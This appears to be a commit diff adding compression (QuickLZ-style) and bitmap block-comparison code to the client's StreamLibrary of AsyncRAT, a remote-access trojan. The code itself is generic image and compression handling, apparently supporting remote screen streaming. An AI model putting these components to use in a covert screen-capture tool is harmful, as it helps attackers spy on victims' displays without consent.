if (level != 1 && level != 3)
|
||||
throw new ArgumentException("C# version only supports level 1 and 3");
|
||||
|
||||
if (level == 1)
|
||||
hashtable = new int[HASH_VALUES, QLZ_POINTERS_1];
|
||||
else
|
||||
hashtable = new int[HASH_VALUES, QLZ_POINTERS_3];
|
||||
|
||||
if (Length == 0)
|
||||
return new byte[0];
|
||||
|
||||
if (src <= last_matchstart)
|
||||
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||
|
||||
while (src <= last_matchstart)
|
||||
{
|
||||
if ((cword_val & 1) == 1)
|
||||
{
|
||||
if (src > Length >> 1 && dst > src - (src >> 5))
|
||||
{
|
||||
d2 = new byte[Length + DEFAULT_HEADERLEN];
|
||||
write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN);
|
||||
System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length);
|
||||
return d2;
|
||||
}
|
||||
|
||||
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
|
||||
cword_ptr = dst;
|
||||
dst += CWORD_LEN;
|
||||
cword_val = 0x80000000;
|
||||
}
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||
int o = hashtable[hash, 0];
|
||||
int cache = cachetable[hash] ^ fetch;
|
||||
cachetable[hash] = fetch;
|
||||
hashtable[hash, 0] = src;
|
||||
|
||||
if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] &&
|
||||
source[src] == source[src - 2] && source[src] == source[src - 1] &&
|
||||
source[src] == source[src + 1] && source[src] == source[src + 2])))
|
||||
{
|
||||
cword_val = ((cword_val >> 1) | 0x80000000);
|
||||
if (source[o + 3] != source[src + 3])
|
||||
{
|
||||
int f = 3 - 2 | (hash << 4);
|
||||
destination[dst + 0] = (byte)(f >> 0 * 8);
|
||||
destination[dst + 1] = (byte)(f >> 1 * 8);
|
||||
src += 3;
|
||||
dst += 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
int old_src = src;
|
||||
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
|
||||
|
||||
src += 4;
|
||||
if (source[o + src - old_src] == source[src])
|
||||
{
|
||||
src++;
|
||||
if (source[o + src - old_src] == source[src])
|
||||
{
|
||||
src++;
|
||||
while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining)
|
||||
src++;
|
||||
}
|
||||
}
|
||||
|
||||
int matchlen = src - old_src;
|
||||
|
||||
hash <<= 4;
|
||||
if (matchlen < 18)
|
||||
{
|
||||
int f = (hash | (matchlen - 2));
|
||||
destination[dst + 0] = (byte)(f >> 0 * 8);
|
||||
destination[dst + 1] = (byte)(f >> 1 * 8);
|
||||
dst += 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
fast_write(destination, dst, hash | (matchlen << 16), 3);
|
||||
dst += 3;
|
||||
}
|
||||
}
|
||||
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||
lits = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
lits++;
|
||||
hash_counter[hash] = 1;
|
||||
destination[dst] = source[src];
|
||||
cword_val = (cword_val >> 1);
|
||||
src++;
|
||||
dst++;
|
||||
fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16);
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||
|
||||
int o, offset2;
|
||||
int matchlen, k, m, best_k = 0;
|
||||
byte c;
|
||||
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
|
||||
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||
|
||||
c = hash_counter[hash];
|
||||
matchlen = 0;
|
||||
offset2 = 0;
|
||||
for (k = 0; k < QLZ_POINTERS_3 && c > k; k++)
|
||||
{
|
||||
o = hashtable[hash, k];
|
||||
if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET)
|
||||
{
|
||||
m = 3;
|
||||
while (source[o + m] == source[src + m] && m < remaining)
|
||||
m++;
|
||||
if ((m > matchlen) || (m == matchlen && o > offset2))
|
||||
{
|
||||
offset2 = o;
|
||||
matchlen = m;
|
||||
best_k = k;
|
||||
}
|
||||
}
|
||||
}
|
||||
o = offset2;
|
||||
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src;
|
||||
c++;
|
||||
hash_counter[hash] = c;
|
||||
|
||||
if (matchlen >= 3 && src - o < 131071)
|
||||
{
|
||||
int offset = src - o;
|
||||
|
||||
for (int u = 1; u < matchlen; u++)
|
||||
{
|
||||
fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16);
|
||||
hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||
c = hash_counter[hash]++;
|
||||
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u;
|
||||
}
|
||||
|
||||
src += matchlen;
|
||||
cword_val = ((cword_val >> 1) | 0x80000000);
|
||||
|
||||
if (matchlen == 3 && offset <= 63)
|
||||
{
|
||||
fast_write(destination, dst, offset << 2, 1);
|
||||
dst++;
|
||||
}
|
||||
else if (matchlen == 3 && offset <= 16383)
|
||||
{
|
||||
fast_write(destination, dst, (offset << 2) | 1, 2);
|
||||
dst += 2;
|
||||
}
|
||||
else if (matchlen <= 18 && offset <= 1023)
|
||||
{
|
||||
fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2);
|
||||
dst += 2;
|
||||
}
|
||||
else if (matchlen <= 33)
|
||||
{
|
||||
fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3);
|
||||
dst += 3;
|
||||
}
|
||||
else
|
||||
{
|
||||
fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4);
|
||||
dst += 4;
|
||||
}
|
||||
lits = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
destination[dst] = source[src];
|
||||
cword_val = (cword_val >> 1);
|
||||
src++;
|
||||
dst++;
|
||||
}
|
||||
}
|
||||
}
|
||||
while (src <= Length - 1)
|
||||
{
|
||||
if ((cword_val & 1) == 1)
|
||||
{
|
||||
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
|
||||
cword_ptr = dst;
|
||||
dst += CWORD_LEN;
|
||||
cword_val = 0x80000000;
|
||||
}
|
||||
|
||||
destination[dst] = source[src];
|
||||
src++;
|
||||
dst++;
|
||||
cword_val = (cword_val >> 1);
|
||||
}
|
||||
while ((cword_val & 1) != 1)
|
||||
{
|
||||
cword_val = (cword_val >> 1);
|
||||
}
|
||||
|
||||
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN);
|
||||
write_header(destination, level, true, Length, dst);
|
||||
d2 = new byte[dst];
|
||||
System.Array.Copy(destination, d2, dst);
|
||||
return d2;
|
||||
}
|
||||
|
||||
|
||||
private void fast_write(byte[] a, int i, int value, int numbytes)
|
||||
{
|
||||
for (int j = 0; j < numbytes; j++)
|
||||
a[i + j] = (byte)(value >> (j * 8));
|
||||
}
|
||||
|
||||
public byte[] decompress(byte[] source, int Offset, int Length)
|
||||
{
|
||||
int level;
|
||||
int size = sizeDecompressed(source, Offset);
|
||||
int src = headerLen(source, Offset) + Offset;
|
||||
int dst = 0;
|
||||
uint cword_val = 1;
|
||||
byte[] destination = new byte[size];
|
||||
int[] hashtable = new int[4096];
|
||||
byte[] hash_counter = new byte[4096];
|
||||
int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1;
|
||||
int last_hashed = -1;
|
||||
int hash;
|
||||
uint fetch = 0;
|
||||
|
||||
level = (source[Offset] >> 2) & 0x3;
|
||||
|
||||
if (level != 1 && level != 3)
|
||||
throw new ArgumentException("C# version only supports level 1 and 3");
|
||||
|
||||
if ((source[Offset] & 1) != 1)
|
||||
{
|
||||
byte[] d2 = new byte[size];
|
||||
System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size);
|
||||
return d2;
|
||||
}
|
||||
|
||||
for (; ; )
|
||||
{
|
||||
if (cword_val == 1)
|
||||
{
|
||||
cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||
src += 4;
|
||||
if (dst <= last_matchstart)
|
||||
{
|
||||
if (level == 1)
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
|
||||
else
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||
}
|
||||
}
|
||||
|
||||
if ((cword_val & 1) == 1)
|
||||
{
|
||||
uint matchlen;
|
||||
uint offset2;
|
||||
|
||||
cword_val = cword_val >> 1;
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
hash = ((int)fetch >> 4) & 0xfff;
|
||||
offset2 = (uint)hashtable[hash];
|
||||
|
||||
if ((fetch & 0xf) != 0)
|
||||
{
|
||||
matchlen = (fetch & 0xf) + 2;
|
||||
src += 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
matchlen = source[src + 2];
|
||||
src += 3;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
uint offset;
|
||||
if ((fetch & 3) == 0)
|
||||
{
|
||||
offset = (fetch & 0xff) >> 2;
|
||||
matchlen = 3;
|
||||
src++;
|
||||
}
|
||||
else if ((fetch & 2) == 0)
|
||||
{
|
||||
offset = (fetch & 0xffff) >> 2;
|
||||
matchlen = 3;
|
||||
src += 2;
|
||||
}
|
||||
else if ((fetch & 1) == 0)
|
||||
{
|
||||
offset = (fetch & 0xffff) >> 6;
|
||||
matchlen = ((fetch >> 2) & 15) + 3;
|
||||
src += 2;
|
||||
}
|
||||
else if ((fetch & 127) != 3)
|
||||
{
|
||||
offset = (fetch >> 7) & 0x1ffff;
|
||||
matchlen = ((fetch >> 2) & 0x1f) + 2;
|
||||
src += 3;
|
||||
}
|
||||
else
|
||||
{
|
||||
offset = (fetch >> 15);
|
||||
matchlen = ((fetch >> 7) & 255) + 3;
|
||||
src += 4;
|
||||
}
|
||||
offset2 = (uint)(dst - offset);
|
||||
}
|
||||
|
||||
destination[dst + 0] = destination[offset2 + 0];
|
||||
destination[dst + 1] = destination[offset2 + 1];
|
||||
destination[dst + 2] = destination[offset2 + 2];
|
||||
|
||||
for (int i = 3; i < matchlen; i += 1)
|
||||
{
|
||||
destination[dst + i] = destination[offset2 + i];
|
||||
}
|
||||
|
||||
dst += (int)matchlen;
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16));
|
||||
while (last_hashed < dst - matchlen)
|
||||
{
|
||||
last_hashed++;
|
||||
hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1));
|
||||
hashtable[hash] = last_hashed;
|
||||
hash_counter[hash] = 1;
|
||||
fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16);
|
||||
}
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
|
||||
}
|
||||
else
|
||||
{
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||
}
|
||||
last_hashed = dst - 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (dst <= last_matchstart)
|
||||
{
|
||||
destination[dst] = source[src];
|
||||
dst += 1;
|
||||
src += 1;
|
||||
cword_val = cword_val >> 1;
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
while (last_hashed < dst - 3)
|
||||
{
|
||||
last_hashed++;
|
||||
int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16);
|
||||
hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1);
|
||||
hashtable[hash] = last_hashed;
|
||||
hash_counter[hash] = 1;
|
||||
}
|
||||
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16);
|
||||
}
|
||||
else
|
||||
{
|
||||
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
while (dst <= size - 1)
|
||||
{
|
||||
if (cword_val == 1)
|
||||
{
|
||||
src += CWORD_LEN;
|
||||
cword_val = 0x80000000;
|
||||
}
|
||||
|
||||
destination[dst] = source[src];
|
||||
dst++;
|
||||
src++;
|
||||
cword_val = cword_val >> 1;
|
||||
}
|
||||
return destination;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
177
AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs
Normal file
177
AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs
Normal file
@ -0,0 +1,177 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public unsafe class SimpleBitmap
|
||||
{
|
||||
private object ProcessingLock = new object();
|
||||
|
||||
public SimpleBitmapInfo Info { get; internal set; }
|
||||
public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } }
|
||||
public IntPtr Scan0 { get; internal set; }
|
||||
public int Scan0_int { get; internal set; }
|
||||
public BitmapData bitmapData { get; internal set; }
|
||||
public Bitmap bitMap { get; set; }
|
||||
|
||||
public class SimpleBitmapInfo
|
||||
{
|
||||
public SimpleBitmapInfo()
|
||||
{
|
||||
Clear();
|
||||
}
|
||||
public SimpleBitmapInfo(BitmapData data)
|
||||
{
|
||||
Load(data);
|
||||
}
|
||||
public int Stride { get; protected set; }
|
||||
public int PixelSize { get; protected set; }
|
||||
public int Width { get; protected set; }
|
||||
public int Height { get; protected set; }
|
||||
|
||||
public int TotalSize { get; protected set; }
|
||||
|
||||
internal void Clear()
|
||||
{
|
||||
Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0;
|
||||
}
|
||||
internal void Load(BitmapData data)
|
||||
{
|
||||
Width = data.Width; Height = data.Height; Stride = data.Stride;
|
||||
|
||||
PixelSize = Math.Abs(data.Stride) / data.Width;
|
||||
TotalSize = data.Width * data.Height * PixelSize;
|
||||
}
|
||||
}
|
||||
|
||||
public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||
{
|
||||
int calc = 0;
|
||||
int WidthSize = block.Width * sharedInfo.PixelSize;
|
||||
|
||||
calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize;
|
||||
|
||||
for (int i = 0; i < block.Height; i++)
|
||||
{
|
||||
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0)
|
||||
return false;
|
||||
calc += sharedInfo.Stride;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||
{
|
||||
int calc = 0;
|
||||
int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize;
|
||||
|
||||
calc = y * sharedInfo.Stride;
|
||||
|
||||
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0)
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||
{
|
||||
if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0)
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
public unsafe void CopyBlock(Rectangle block, ref byte[] dest)
|
||||
{
|
||||
int calc = 0;
|
||||
int WidthSize = block.Width * Info.PixelSize;
|
||||
int CopyOffset = 0;
|
||||
int scan0 = Scan0.ToInt32();
|
||||
int destSize = WidthSize * block.Height;
|
||||
|
||||
if (dest == null || dest.Length != destSize)
|
||||
dest = new byte[destSize];
|
||||
|
||||
calc = (block.Y) * Info.Stride + block.X * Info.PixelSize;
|
||||
|
||||
fixed (byte* ptr = dest)
|
||||
{
|
||||
for (int i = 0; i < block.Height; i++)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize);
|
||||
calc += Info.Stride;
|
||||
CopyOffset += WidthSize;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public SimpleBitmap()
|
||||
{
|
||||
Scan0 = IntPtr.Zero;
|
||||
bitmapData = null;
|
||||
bitMap = null;
|
||||
|
||||
Info = new SimpleBitmapInfo();
|
||||
}
|
||||
public SimpleBitmap(Bitmap bmp)
|
||||
{
|
||||
this.bitMap = bmp;
|
||||
}
|
||||
|
||||
public void Lock()
|
||||
{
|
||||
if (Locked)
|
||||
throw new Exception("Already locked");
|
||||
|
||||
lock (ProcessingLock)
|
||||
{
|
||||
bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat);
|
||||
|
||||
Info = new SimpleBitmapInfo(bitmapData);
|
||||
|
||||
Scan0 = bitmapData.Scan0;
|
||||
Scan0_int = Scan0.ToInt32();
|
||||
}
|
||||
}
|
||||
public void Unlock()
|
||||
{
|
||||
if (!Locked)
|
||||
throw new Exception("Nothing to unlock");
|
||||
|
||||
lock (ProcessingLock)
|
||||
{
|
||||
Scan0 = IntPtr.Zero;
|
||||
Scan0_int = 0;
|
||||
|
||||
Info.Clear();
|
||||
bitMap.UnlockBits(bitmapData);
|
||||
bitmapData = null;
|
||||
}
|
||||
}
|
||||
public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc)
|
||||
{
|
||||
int CopySize = Info.PixelSize * loc.Width;
|
||||
int OffsetX = loc.X * Info.PixelSize;
|
||||
int TotalCopied = 0;
|
||||
|
||||
fixed (byte* ptr = block)
|
||||
{
|
||||
for (int i = 0; i < loc.Height; i++)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize);
|
||||
TotalCopied += CopySize;
|
||||
}
|
||||
}
|
||||
}
|
||||
public void Dispose(bool disposeBitmap = false)
|
||||
{
|
||||
if (Locked)
|
||||
Unlock();
|
||||
|
||||
if (disposeBitmap)
|
||||
bitMap.Dispose();
|
||||
|
||||
bitMap = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
Loading…
x
Reference in New Issue
Block a user